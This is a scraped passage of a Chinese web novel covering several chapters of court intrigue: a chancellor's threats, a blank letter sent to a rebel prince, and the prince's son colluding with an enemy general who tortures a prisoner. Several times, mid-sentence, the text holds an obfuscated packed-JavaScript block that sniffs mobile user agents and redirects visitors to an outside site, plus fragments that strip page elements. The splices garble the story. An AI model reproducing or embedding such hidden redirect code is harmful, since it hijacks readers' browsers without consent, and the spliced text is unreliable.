“凡晚辈力所能及之事,必当全力以赴。”说着,扶着程显重新坐下,自己也转身坐上主位,等着程显开口。 程显试探道:“听闻每年这个时候,齐国公府都会派车队回汀州去,不知可否帮我家夫人递封家书?” 张世繁眉头皱起,频频又多看了程显数眼,今日火急火燎仓促拜访,只为了捎递封家书? 张世繁显得有些犹豫。 程显见状,呵笑一声:“原不想叨扰国公爷,只是事发突然,这才不得不求到国公府。” 张世繁勉为其难点点头。 “还有一事——”程显瞥了眼张世繁,开门见山道。 “听闻齐国公府与栾南有些往来——” 程显话还没说完,张世繁与张兰馨瞬间警觉,有些往来,往大了说,便是相互勾结。 敢情程显铺垫这么多,是为了给他们齐国公府安这么个莫须有的罪名。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274321|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张世繁的脸瞬间拉下来:“右相慎言!” 程显笑笑,摆出长辈的姿态,在气势上瞬间占了上风:“先前老齐国公在时,为迎秦王回京,可是与栾南、与胡人少不了书信往来。虽说齐国公府曾受重创,但到底是传续千百年的世家,往来的渠道想来都还在。” 张世繁听得脑子嗡嗡的,先前祖父还在世时,府上的事多由祖父、父亲、兄长操持,程显说的这些他一概不知。 什么与胡人的往来? 父兄熟读经史典籍,心中自是满腔的忠义,又怎会做出此等勾结外邦的通敌之事呢? 定然不会!定然是程显在用话诈他! 张世繁看向程显的眼神愈发锐利,温姐姐说的果然不错,程显此人,心机颇深。 张世繁没了方才的亲热,冷冷道:“父兄在时,并未告知右相所言之事,右相所言,不过是臆想罢了。若是右相有确凿证据,想来也不会来我国公府诈我。” 程显不以为意,道:“齐国公到底年幼,不知道你们国公府与栾南、与城南二殿下之间的往来,也是正常。” “如今事出紧急,这才不得不借用下齐国公府的门路,传递封消息。”虽身处齐国公府,程显已慢慢找回主场,对着年幼袭爵的齐国公,说话也添了几分不客气。 张世繁冷脸道:“本不欲与右相起争执,若右相执意要在我国公府说这些的话,就可别怪——” 程显出言提醒,言语中还掺杂着几分威胁的意味:“齐国公可别忘了,咱们是一根绳上的蚂蚱,你父兄做过些什么事,你或许不知,老夫可是一清二楚。” “如若不信,不妨到陛下面前说道说道。” “啪擦——”屏风后传来一声响动。 茶盏从几案上滑落,碎在鞋边,鞋面上也沾染了不少茶褐色,张兰馨直直盯着碎瓷片一动也不敢动。 察觉到似乎还有旁人,程显犹如惊弓之鸟,猛然弹起,朝着屏风的方向看去,眼神如鹰,缓缓探寻过去。 张世繁面色一沉,目光落在程显身上,时刻也不敢放松。 “哗啦——”一只五彩花色的鹦鹉从屏风后飞出,盘旋一圈后落在张世繁肩头,嘴里嚷着:“国公爷——国公爷——” 程显见到鹦鹉,脸色瞬间变了,他怎么也没想到,他们两人的对话全被这只多舌的鹦鹉听了去。 “右相,话不投机,烦请挪步,恕不相送。”张世繁偏过头,轻轻抚摸着肩头鹦鹉那颗小小的脑袋。 鹦鹉张嘴:“恕不相送——恕不相送——” “闭嘴。”张世繁轻声斥责鹦鹉,鹦鹉乖乖闭嘴不言。 程显瞪了鹦鹉一眼,随意一拱手。 真是竖子不可与谋! 看着程显愤愤离去的背影,张兰馨沉着脸,从屏风后走出。 鹦鹉见着张兰馨出来,离了张世繁的肩头,飞去寻张兰馨。 张世繁笑道:“到底是姐姐的鹦鹉,还是与姐姐更亲近些。” “今日多亏了它替我遮掩。”张兰馨笑笑,摸了摸鹦鹉的脑袋,心不在焉道:“看来得将此事告知温姐姐才是。” 125. 外攘内安(三十)栾南风云 “殿下应该早做打算,免得让程显钻了空子。”温嘉诚才得了信,便马不停蹄来拜见刘安。 听了温嘉诚一番担忧,刘安竟噗嗤一声笑了出来。 程显果然沉不住气,真是不枉她的一番谋划布局。 温嘉诚嗔怪一声:“殿下?” “不必担心,他不是还没成吗?”刘安并不以为意,还带了几分的得意之色,笑道:“金中堂可不是吃素的。” 一提及金中堂,温嘉诚面上不免有些抽搐,她怎么也没想到,当初那个丝毫不顾及太子面子、不惜捆了她与宁乐公主刘宁的金中堂,竟能执掌京城的护城军。 真是物是人非。 “既然程显想传消息,那本宫便如了他的愿。”刘安取来一张白纸,简单折了两下,塞入信封中,抬手递给温嘉诚,“让齐国公传去栾南。” 温嘉诚有些懵然,迟疑片刻,还是接下信封,问道:“殿下……这是何意?” 温嘉诚一时有些拿不准刘安的心思:“此举……只怕会激怒诚王吧……” “那正好让本宫看看诚王叔的本事。”刘安狡黠一笑:“看看到底本宫是高看了他,还是轻看了他。” 温嘉诚不置可否,应下:“遵命。” 刘安道:“昶儿还没传来消息吗?” 温嘉诚摇摇头。 刘安无奈轻叹了一声。 温嘉诚将刘安的旨意带给张兰馨、张世繁姐弟二人,二人相视一眼,交换眼中的疑惑。 张兰馨挽起温嘉诚的手,瞥了张世繁一眼,笑着客气道:“温姐姐这是什么意思?” 张兰馨眼珠转圜:“我们齐国公府向来忠心,哪里知道这些?温姐姐也不必替殿下来试探我们姐弟二人。” 自他们祖辈父兄离世后,偌大的齐国公府全靠他们姐弟二人,行事自是谨慎谨慎再谨慎,不敢有半分的逾矩。 若是接下了传信一事,日后大长公主要清算诚王,齐国公府少不得要受到连累。 张世繁配合道:“是啊,自打我袭爵以来,便多亏了殿下与温相的暗中相助,我与姐姐才能稳住齐国公府的爵位,我们对殿下只有忠心二字,不敢滋生旁的心思,还望温相明鉴,还望殿下明鉴!” 温嘉诚意味深长地看了眼张兰馨姐弟二人,垂眸轻笑一声,随即正色道:“这是殿下的意思,殿下耳聪目明,心里什么都知道,你们也不必在这里打马虎眼糊弄我。” “殿下的话我带到了,做与不做,要不要表忠心,全看你们。”温嘉诚撂下刘安交给她的那封信,转身就要走。 张兰馨皱眉思索片刻,仅一眨眼的功夫,便眼神示意张世繁,旋即两人一左一右追上温嘉诚,连连陪笑道:“温姐姐说笑了!” 见温嘉诚停下脚步,张兰馨道:“殿下吩咐,我们姐弟二人,必当全力以赴。” 张世繁郑重道:“还望温相放心,还望殿下安心。” 温嘉诚笑着点点头。 一封看不出什么名堂的书信,一封召诚王入京的诏书,前后脚的功夫,便出现在了诚王府上。 诚王世子妃李云,顺手捧起摆在诚王桌子上的诏书,仔细端详起来:“年终入京?” “入京!入京!”诚王世孙刘垣稚声稚气,拉着诚王的衣袖撒娇道:“爷爷,我还没去过京城呢!我想去!” “垣儿!”世子妃李云冷脸呵斥一声。 诚王并不在意,捏了捏小世孙的小脸蛋:“你没去过京城,爷爷也很久没去过京城了,等挑个时间,爷爷带你一起去可好?” 小世孙拍手笑道:“好!” 事出反常必有妖,自始至终,李云眉头皱着:“先帝还在时,便免了父王入京朝觐,如今怎的……” 诚王世子刘辙连连摇头叹道:“真是一朝天子一朝臣呐!” 说罢,诚王世子刘辙嗤笑一声:“父王,你说再过几天,小皇帝会不会收回先帝赋予我们栾南的诸项权力呢?” 诚王刘增冷哼一声:“做梦!如今栾南种种,皆是皇兄在位时的特许,论起来,小皇帝还得称呼本王一声皇叔呢,不敬尊长,我料他也没这个胆子!” “若真把我们逼急了……”诚王眼神逐渐阴冷,手里渐渐用力,那封空白的信件被攥成一团。 还不及诚王腿高的小世孙扒着诚王的大腿,从诚王怀里钻出来,双手扶着桌子,从诚王手指缝里面掏出起那封空白信件,摊开铺平,问道:“祖父,这又是何意?” 稚声稚气的声音问道:“怎么没字啊?” “垣儿!”世子妃李云冷脸呵斥一声,世子刘辙忙弯腰准备抱起小世孙。 诚王次子刘传见此情形,幸灾乐祸地在一旁看热闹,他这侄子,被大哥大嫂宠得不像样子,竟在父王面前也敢造次。 诚王并不生气,笑呵呵地抱起小世孙,为小世孙讲解其中的意思:“垣儿,这是他们想借此来羞辱捉弄我们的。” 小世孙歪着脑袋问道:“他们是谁啊?” “他们……”诚王冷笑一声,“他们都是要与你争与你抢的人。” 早在当今皇帝刘绥登基前,诚王便收到过一封来自京城的信件,一封出自刘仲之手的信件。 原以为是刘仲传他入京夺位的密信,却不想只是封空白信件。 白白受到捉弄而忍气吞声,绝不是诚王的性子。 诚王食指弯起,轻轻在小世孙鼻子上刮了下:“垣儿,你记住,往后爷爷的爵位、大江朝的皇位,爷爷都会给你留着。” 闻听此言,诚王次子刘传脸色变得煞白,难道父王真要将这江山全都传给哥哥吗?难道父王当真一点也不考虑他吗? 看他父王的意思,不像是在开玩笑。 刘传暗自握紧拳头,他到底哪里比他那个懦弱的大哥差! “父王慎言!”世子妃李云脸色也是煞白,出声提醒道。 世子刘辙则是被诚王这话吓得大气也不敢喘。 诚王不以为意:“怕什么!整个栾南铁桶一般,难不成还怕那个京城的小皇帝不成?” “即便是加上我那个大侄女儿,也没什么可怕的。” “只是这年终入京的圣旨不得不从……”诚王目光落在那封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274322|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明黄的诏书上。 不过到底为什么召他入京呢? 莫不是京城发现了什么?诚王捋了把胡髯,很快就否定这个想法,栾南与京城之间隔了个靖州、汀州,况且他自视管得严藏得深,京城又怎么能查到他的所作所为呢? 当初孝懿太子还在时,背靠颖州蔡氏一族,前朝有晋国公,后宫有蔡皇后,虽说捏住了他栾南的错处,可最后不也没掀起什么风浪吗? 当初都不能奈何他,如今又能怎样? 诚王看向小世孙手上折着玩的空白信,不免叹息一声。 如果没有这封信,他倒是可以腆着脸问问京城的程显等人,如今程显都做到右相的位置了,想来程显派人去宫里打听一下,也能打听出来个一二。 “不如本王称病,说受不了路途奔波之苦,如何?”诚王看向他的儿媳,世子妃李云,询问道。 世子妃李云,比起他这两个不成器的儿子来说,甚有谋略,堪比他的谋士,故而诚王对世子妃李云很是信任,就连铸币、屯兵这样的秘事也要拉着李云过来讨论。 刘传急冲冲道:“父王,不如起兵打进京去!” 诚王闻言,甚是无语。 “私以为……”李云沉吟片刻,摇头道:“不妥。” 李云道:“父王,这借口只可用一次,往后若陛下执意要召见呢?难不成回回都称病不朝吗?” “不如将朝廷的注意转到别的地方,待我们知晓此次宣召入京的目的再行动不迟。” 刘传冷嗤一声:“大嫂说得简单!” 刘传最是看不惯他父王这么看重他大嫂李云,为此连着翻了数个白眼。 诚王并不理会刘传,对着李云点点头道:“说得对,只是……该将朝廷的注意力转到哪儿呢?” “靖州?还是永州?” 听到诚王提及永州,刘传眼珠一转,当即有了主意:“父王,北征军不就在我们附近吗?” 诚王世子刘辙不解其意:“那又如何?” “天干物燥。”刘传意味深长地看了眼诚王刘增,晦暗不明道:“不如断了他们的粮草。” 由定北王刘昶、温国公率领的北征大军,就驻扎在永州、漳州一带,与他们所在的栾南,仅隔了座永济城。 “没了粮草,北征军如何作战?朝廷又哪里有心思管我们入不入京朝觐呢?” 此言一出,李云与刘辙夫妇二人皆为之一惊。 正是入冬时分,若是没了粮草,军士们如何作战?如何能赢?如何能活? 岂不是要将边境拱手让与胡蛮? 诚王细细思量后,正要同意,谁知李云也顾得旁的,一掌拍在桌上:“不可!” 刘传乜视着大哥大嫂,冷笑道:“那大哥大嫂倒是给个法子!” 坐在诚王怀里的小世孙,歪头看向眉头不展的诚王,嘴里说道:“擒其首脑以溃全军。” 诚王不敢相信自己这个孙子嘴里说出的话,问了声:“什么?” 小世孙无视母亲李云的摇头示意,自顾自又重复一遍:“擒其首脑以溃全军。” 126. 御下(一)各怀鬼胎 诚王刘增思索后,连连点头,肯定世孙刘垣的想法。 “哈哈哈哈,真不愧是本王的好孙儿!”诚王爱怜地摸了摸世孙的后脑勺。 “父王不可!”世子妃李云愁眉不展,甚是担忧,轻轻肘了下旁边丈夫的胳膊。 世子刘辙会意,深吸一口气,将刘垣从父亲刘增身上抱下来,俯下身,耐心道:“这里大人说话,小孩子不要胡说,你且先去外面玩儿会儿。” 见着刘垣离去,世子妃李云忙斟茶赔笑道:“父王,垣儿不过才垂髫的年纪,哪里懂得这些军政大事?” “父王就权当做是小孩子的玩笑话罢了。” 说罢,又瞥了丈夫刘辙一眼,世子刘辙忙附和道:“是啊是啊!小孩子的话,当不得真。” 诚王次子刘传收起看戏的姿态,站直身体,道:“父王,还是按我说的来吧!” 次子刘传扬起下巴,甚是轻蔑地扫了眼大哥刘辙与大嫂李云:“儿子训兵多年,这点子能耐还是有的。” 他掌管栾南的军队数年之久,比他这个大哥强的可不是一星半点。 李云斜了刘传一眼,道:“父王,温国公一族自打我大江建朝以来,驻守边防几十余载,还有那定北王,束发的年纪便上了沙场,先后驻扎在永济、永州两地,驻边期间更是威猛无比、胜绩不断,多次以少胜多屡创奇功。 李云冷哼一声:“在他们面前耍这些小伎俩,岂不是班门弄斧了?” “小叔未曾上过战场,不知战场的残酷,自然也不知能领兵打仗的将领身上有着常人不可及的才智谋略。”说着,李云掩嘴轻笑一声:“莫不是小叔以为,他们二人同你一样蠢笨吧?” “你!”刘传恼羞成怒,抬手直指李云鼻尖。 李云丝毫不惧,瞥了眼稳坐的诚王,父王还在呢! 次子刘传在父王刘增面前并不敢造次,也就只敢用气势吓唬吓唬李云。 世子刘辙将李云拉到自己身后,又按下刘传用上全力的手指:“不许对你嫂子无礼!” “蠢货!”诚王骂了一声,拎起茶盏,照着刘传的脑袋甩手砸过去:“我怎么就生出你这么个蠢笨的货色!” “这小皇帝,还有我那大侄女儿极为看重这次北征,前不久才添了军需,若是粮草失火,查到你头上,我看你怎么办?” 李云继续劝道:“父王,定北王、温国公都是驻边多年的将领,怎会犯这种错?怎会纵容这种粮草被烧这样的事儿发生?” “更何况温国公的女儿温嘉诚,如今官拜左相,定北王更是以大长公主唯命是从,他们是大长公主的左膀右臂,此举无异于断了公主的臂膀,她又怎会轻饶我们?若是再被他们抓住别的把柄,只怕……” 刘传很不服气:“即便是她能查到,又能奈我何?整个栾南都在父王手里,山高皇帝远,她刘安的手即便再长,也伸不到我们栾南!” 诚王刘增面色似有动容。 世子刘增与妻子李云一唱一和,十分不忍道:“再怎么说,那是我们大江的军队,大江的子民,边境一旦失守,事态便不可控!” “父王!难不成你忘了承道年间,胡人南下入侵的那一战了吗?生灵涂炭,饿殍遍野!” 诚王听后,顿时犹豫,整个人气势都弱了下来。 “说得不错。不过……”诚王又想起方才世孙刘垣的话,顿时话锋一转,道:“若要断了她的两条臂膀,实在有些说不过去,可若只断一条,让她自顾不暇,也不是不行。” 李云与刘辙夫妇对视一眼,都看到了对方眼中的担忧。 “擒其首脑……哼哼……”诚王哼笑两声。 温国公是老将,为人谨慎,他奈何不了,可定北王年轻气盛,远不如温国公谨慎。 “传儿!”诚王冲着次子刘传招手。 得父王重用,刘传甚是得意地瞥了眼刘辙与李云夫妇,俯身将耳朵凑在诚王嘴边。 诚王耳语两句,刘传听后,眼睛瞬时一亮,连声道:“父王好谋略!” 诚王笑着点点头,一副胜券在握的模样,摆手道:“去吧。” 刘传趾高气昂地路过刘辙与李云二人。 待书房内只剩下诚王、世子刘辙、世子妃李云三人时,诚王扫了眼儿子儿媳的神色,缓缓开口道:“你们是不是觉得父王过分偏心老二?” 李云垂着眸,并未言语。 刘辙撇撇嘴,口是心非道:“弟弟打小就嘴甜,行事利索,父王喜欢他,也是情理之中。” 诚王哈哈一笑,站起身,行至刘辙身边,轻轻拍了拍刘辙的肩膀:“辙儿,这是驭人之术,你要学的。” 李云听后,眼眸一亮,顺势拉起刘辙,二人齐声拜谢诚王:“多谢父王看重!” 诚王甚是满意地点点头,紧接着摆摆手,命刘辙与李云二人退下。 回去路上,李云察觉刘辙依旧兴致不高,便出言问道:“夫君在想什么?” 刘辙双眼失神,叹了口气,信步由缰地朝前走着:“听了父王的话,我本开心才是,可却怎么也开心不起来。” “父子亲情,手足情谊,竟都成了算计!” 李云停下脚步,柔声安慰道:“夫君日后要成大事,不必拘泥于这种小情。” 刘辙没由得苦笑一声,撇下李云,径直朝前走去。 李云只得无奈摇头叹气。 躲藏在院里的世孙刘垣见着母亲从书房出来,忙拍了拍身上的尘土,小跑过去抱住李云的腿,仰头笑道:“母亲!” 看着儿子的脸像个花猫样,李云取出手帕,一边擦拭,一边佯装生气道:“不是把你送去了你祖母那里吗?怎么弄成了这个样子?” 刘垣得意道:“祖母在老祖宗那里,我不喜欢,就跑了出来,十几个人都没抓住我呢!” “你呀!”李云忍俊不禁,在刘垣眉心用力点了一下,而后抱起刘垣,“真拿你没办法。” 李云知道,刘垣不喜欢的不是诚王妃,而是府里的那位老祖宗——诚王的乳母。 她也同样不喜,因而并未出言训斥刘垣。 诚王有一乳母,名曰赞太夫人。诚王因生母早逝,由这位赞太夫人一手带大,因而极看重他的这位乳母。 赞太夫人时常仗着诚王孝顺,在王府不断作妖。不单让自己的侄女嫁与诚王做侧妃,还将孙辈的女子分别许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274323|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配给诚王世子和次子。 他们一家搅得家宅不宁,就连诚王妃,在这位赞太夫人面前都是唯唯诺诺、从不敢高声言语。 李云向来看不惯这些,即便她同诚王妃一样背后没有族人倚仗,可她性子倔强要强,不是太夫人那群人能拿捏的。 再加上得益于当朝的大长公主颁布的一系列女子可入朝执政的政策,李云凭着自己的聪慧,在诚王府中崭露头角,深得诚王信赖,因而时常被诚王允许同世子刘辙、次子刘传入书房探讨军政大事。 “走,咱们去老祖宗那里,把祖母叫出来陪我们垣儿玩儿,好不好?”李云笑道。 李云知道婆母诚王妃在赞太夫人院子里不太自在,便想借着这个由头,将诚王妃从赞太夫人院里面解脱出来。 “好!”刘垣重重点头。 “世子妃!”才出了王府的前院,只见一仆从脚步飞快,匆匆来报:“方才二公子出了府门,朝着西边的军营去了。” 李云了然:“继续盯着。” “是。”仆从得令,垂头退下,没一会儿,便混在王府的一众仆从中,找不见踪迹。 不多时,李云手下的暗桩一路跟着刘传,亲眼见着刘传到了栾南与胡人的交界处。 在胡人的接引下,刘传在一小队亲兵的簇拥保护下,踏入胡人地界,直入胡人军营。 刘传进入胡人主将呼廷聊赞的营帐,不顾周边人的阻拦,径直朝着那站在主桌前、身披兽皮的宽厚背影走去,大大咧咧笑道:“呼廷兄,别来无恙啊!” 呼廷聊赞听得声音,扭头看去,见是诚王次子刘传过来,气不打一处来,用着一口不算流利的江朝语言,冷笑道:“你来做什么?” 战事接连失利,大江朝的定北王刘昶多次以少胜多,连破他呼廷聊赞的十数营帐,就连派出和谈的人没了消息,派回大别山请求增派援军的人也没了消息,呼廷聊赞盯着地图看了一宿又一宿,正恼得不行。 可巧,刘传来了。 呼廷聊赞冷眼盯着刘传,紧接着,一个眼神扫过一旁的护卫。 得了呼廷聊赞授意,周围的护卫纷纷拔出胡刀。 刘传亲兵见状,也纷纷亮出兵器,围着刘传,簇拥成一个紧密的圈。 刘传脸色有过一瞬的煞白,他自知,若是此时起冲突,他根本没法活下去。 再者,与胡人交战,并非他今日前来的本意。 转眼间刘传脸色便又恢复如常,命亲兵们放下兵器,而后摊开双手,丝毫不惧,双眼紧盯着呼廷聊赞,道:“这是何意?” 刘传嘴角带着笑,可眼睛却是锐利非常,眼里毫无笑意:“你还信不过我啊?” 呼廷聊赞直起身子,收起踩在主桌上的那条腿,转身双手叉腰,居高临下地看着被团团围住的刘传,低头轻蔑一笑。 旋即抽出后腰上别的一把胡刀,一边在手里甩着,一边慢慢走近刘传。 “我正愁找不到破解之法呢,可巧你送上了门。”呼廷聊赞一手托住握刀的胳膊肘,一手晃动着手腕,将磨得发亮的刀背在刘传脸上敲了敲:“你们大江最是看重情谊,不知把你挂在我军阵前,他刘昶能否退军啊?” 127. 御下(二)乘虚而入 仅一个呼吸间,刘传两绺从额角垂落的发丝,在与呼廷聊赞手中的胡刀碰撞中被割断。 呼廷聊赞身上披着的兽皮,散发的腥臊味道直冲刘传的天灵盖。 饶是刘传胆子再大,在对着比他高了足有一个头的呼廷聊赞,在对着呼廷聊赞脑袋上的兽骨帽,在对着呼廷聊赞手里闪着寒光的刀刃,他也没了底气。 刘传的声音软了几度:“有话好好说,可别伤了我们之间的和气。” “和气?”呼廷聊赞闻言,眉头一挑,上下打量一番刘传,嗤道:“你们大江派军攻打我们,我与你之间还有和气可言吗?” 刀刃闪的寒光明晃晃地落在刘传眼中,刘传讪讪笑道:“他们是他们,我们是我们。” “他们?”呼廷聊赞乜视道:“这么说,你不是大江人了?” 呼廷聊赞平生最看不惯的,就是这种背国忘义的人。 说着,呼廷聊赞抬手甩出胡刀,胡刀脱手而出,刀尖直指帐内摆着的靶子。 刀身整个没入靶心,徒留个刀柄在外。 刘传目睹这一切,整个后背汗涔涔的,但又不得不陪笑道:“我当然是大江的人,可我与定北王,不是一路人。” “我此来是为了帮你,你若是这般待我,那我也不必多留。” “告辞。”刘传拱手道。 听得刘传这么说,呼廷聊赞顿时一乐。告辞?刀架在他脖子上,他走得了吗? 不过呼廷聊赞思虑再三,还是抬手下令。 顿时,架在刘传脖子上的柄柄利刃卸下,围在刘传身边的胡人、刘传的亲兵一并退出营帐,只留下刘传与呼廷聊赞二人。 呼廷聊赞冷眼看向刘传:“说吧,怎么帮我。” 刘传笑道:“关键就在这定北王刘昶身上。” 刘传活动了下有些僵硬的臂膀,分析道:“定北王刘昶,主打以少胜多,作战擅长率一队轻骑奇袭,打法实在激进。” “不过他现在又添一老将温国公在其后辅佐,两人配合无往不利,想必你也吃了不少败仗吧。” 闻言,呼廷聊赞冷哼一声。 刘昶的勇猛,他早就领教过,也琢磨出应对之策。只是如今要与叔父、还有东边的塔塔娜尔拉扯,兵力分散,而刘昶身后又有个老练沉稳的温国公坐镇,一时竟无处下手。 再加上族人们不会侍弄新种的谷物致使粮草锐减,不得已,他这才按着以往旧例,派兵劫了江朝的一座城池,先撕毁了与江朝互通贸易的盟约。 原以为江朝会忍气吞声,不想今日竟这般硬气,直接派兵攻打他们。 他可不能败,不能白白被叔父还有塔塔娜尔看轻了。 呼廷聊赞扫了刘传一眼,等着刘传的下文。 刘传忍着腥臊味道,凑到呼廷聊赞耳边,低语道:“入冬了,待到下雪时,草原白茫茫的一片,雪再压上厚厚的一层,又怎能分得清路在哪里?又哪里脚下是否能踏实呢?” 呼廷聊赞与刘传相视一眼,会心一笑,不过转瞬,呼廷聊赞便变了脸色,冷脸道:“你说的我何尝不知?只是他刘昶也并非蠢货,如何会分辨不出呢?” “你就不会使些手段?与他拉扯上几轮?”刘传甚是不屑,不耐烦地指点道:“刘昶贪功冒进,若是让他看到你精心布置的破绽,他如何会不动心呢?如何会不乖乖走入你的陷阱中?” 呼廷聊赞转眼一想,笑道:“是个好主意。” “多谢。” “慢着,还有一事不解。”呼廷聊赞抬手拦住要走的刘传,问道:“听闻你们先前与我叔父布拉古有些往来……” 说罢,呼廷聊赞目不转睛地盯着刘传。 布拉古与江朝的人暗中勾结之事,他已有所耳闻,故而在他父汗一离世,布拉古跳出来与他争夺汗位时,他率先抢占了与江朝接壤的领地,断了二者之间的勾连,断了布拉古的外援之路。 刘传察觉到呼廷聊赞话中的异样,丝毫不让地盯着呼廷聊赞:“不过是些钱财生意上往来罢了,怎么?呼廷兄也感兴趣?” 刘传心中暗喜,若是他能拉拢呼廷聊赞为他所用,再找出一条财路,日后父王知道定会重用他的。 到那时,他那唯唯诺诺的大哥还拿什么与他争? 呼廷聊赞嘴角微微勾起,道:“叔父能给你们的,我一样能给,不过只有一点——” “从今往后,只许与我交易。” 刘传轻笑一声:“你……这是要断了我的路吗?” 呼廷聊赞如今只不过窝在永河周边,就连过冬用的粮食都要来大江抢,而物产丰富的别别山在布拉古手里,呼廷聊赞拿什么和他们交易? 呼廷聊赞眼中的挑衅盖也盖不住。 刘传顿时来了脾气:“我栾南与谁交易,还容不到你来插手多管!” “是吗?”呼廷聊赞阴仄仄看向刘传:“不知道你有多大本事?能囫囵个地跨过永河家去呢?” 刘传哼了一声:“威胁我?” 呼廷聊赞不置可否,仅是笑笑,弯腰取来一旁摆放的兽皮手套。 仅一个口哨,一只尖喙锐利、毛色光亮、展翅足有八尺宽的巨鹰飞来,乖乖落在呼廷聊赞手上。 不多时,一个身上布满血淋淋伤口的俘虏被带进来,随意丢在地上,俘虏还穿着江朝士兵的衣物。 刘传不解其意。 呼廷聊赞擎着鹰,信步走向刘传。 鹰眼凶猛,看刘传犹如猎物般。 刘传脚下不自觉后撤半步。 呼廷聊赞拔出刘传腰间的佩剑,执剑走向地上的俘虏,抬手一剑刺向俘虏的大腿,从俘虏腿上生生割下一块带血的肉来,而后挑起鲜肉喂到鹰的嘴边,末了,还不忘瞥刘传一眼。 三两下的功夫,那块肉便被那头鹰吃得干干净净,渣都不剩。 呼廷聊赞爱怜地摸了下鹰的羽毛,余光一直盯着刘传。 刘传怔怔望着那哀嚎不止的江朝兵士,脸色早已变得煞白。 胡人的残暴,他有所耳闻,可到底百闻不如一见。 “不知你考虑得怎么样了?”呼廷聊赞抬手送走手上的鹰,地上那苟延残喘的俘虏也被带了下去,这才开口问道。 呼廷聊赞走到刘传近前,甚是亲昵地攀上刘传肩头:“和谁赚不是赚呢?你说是不是?” 刘传脸色青一阵白一阵,嘴唇抽搐半天,才憋出几个字:“说得是。” “哈哈哈哈哈哈——”呼廷聊赞大笑数声,转身取来美酒,豪饮数口后递给刘传。 刘传强压着心头的惊惧,接过酒杯,小抿一口。 “你回去吧。”呼廷聊赞大手一挥。 刘传不知自己是怎么走出呼廷聊赞的营帐的,也不知自己是怎么爬上马的。 回去的路上,刘传已经骑不稳马了,还多次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274324|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从马上跌下来。 “二公子小心!雪天路滑,不如改乘车吧?”刘传的亲兵将刘传扶起,团团围在刘传身边。 “雪……”刘传抬头,雪花零星飘下,飘飘然落在刘传脸上,雪花触感冰凉,转瞬便融化,“下雪了……” 亲兵回道:“是啊,这雪可是盼了有大半年呢,正所谓瑞雪兆丰年,来年定是个好收成。” “瑞雪……”刘传喃喃道。 那名浑身血淋淋的江朝士兵他始终忘不掉,隐约间,还能听到那名士兵阵阵的哀嚎声。 一时间,刘传竟有些迷茫,今日他来找呼廷聊赞,到底对不对? 夹杂着雪花的冷风一路向西吹,穿过靖州,穿过宿城,穿过颖州,直到京城。 皇宫宫殿的琉璃瓦上,一层薄薄的白雪覆在上面。 “这几日的风怎的这般冷?竟像刀子一样,刮得脸生疼。”莲亭轻轻揉着脸蛋。 “谁说不是呢!”莲房翻找出来一件更为厚实的披风,一边打理,一边同殿内的其他人说笑道:“今儿早一起,地上积了薄薄的一层雪,若是雪再下大些,兴许明儿就能堆雪人了呢!” “好啊好啊!”一说到玩,莲亭脸也不觉得痛了,兴奋地直拍手。 还没等屋内众人反应过来,莲亭便一溜烟跑了出去。 “你去哪儿!”莲音喊了一声。 没得到莲亭的回复,莲音自顾自道:“到底也十五六了,马上及笄的年纪,怎么还这么贪玩?” 刘安笑笑,接过莲音手中的茶,道:“她还是个小孩子脾气,且由着她去吧。” 刘安呷了口茶,问道:“昶儿那里可有消息?” 莲房走到刘安近前,低声道:“才得了信儿,定北王殿下说要静待时机。” 刘安闻言,笑着点点头。 今日早朝上,她便知晓了北征的战事,那呼廷聊赞被刘昶打得节节败退,都快要退到别别山底下了。 战况竟如此顺利,这可是她与皇帝刘绥,乃至朝中大臣们都从未料想过的。 想必用不了几日,便可收复失地,便可班师回朝。 刘安胜券在握,道:“兴许就这一两日的功夫,兴许……都用不着先前谋划的种种——” 话音刚落,就见顶着一头白雪的莲亭跑进殿内,脸被冻得通红。 “殿下——” “殿下,你看!”说着,莲亭摊开手,细嫩的掌心放着一只捏得极为瓷实的小小雪人。 “外面的雪又下大了呢!” 莲亭身上的寒气,致使刘安忍不住咳嗽两声。 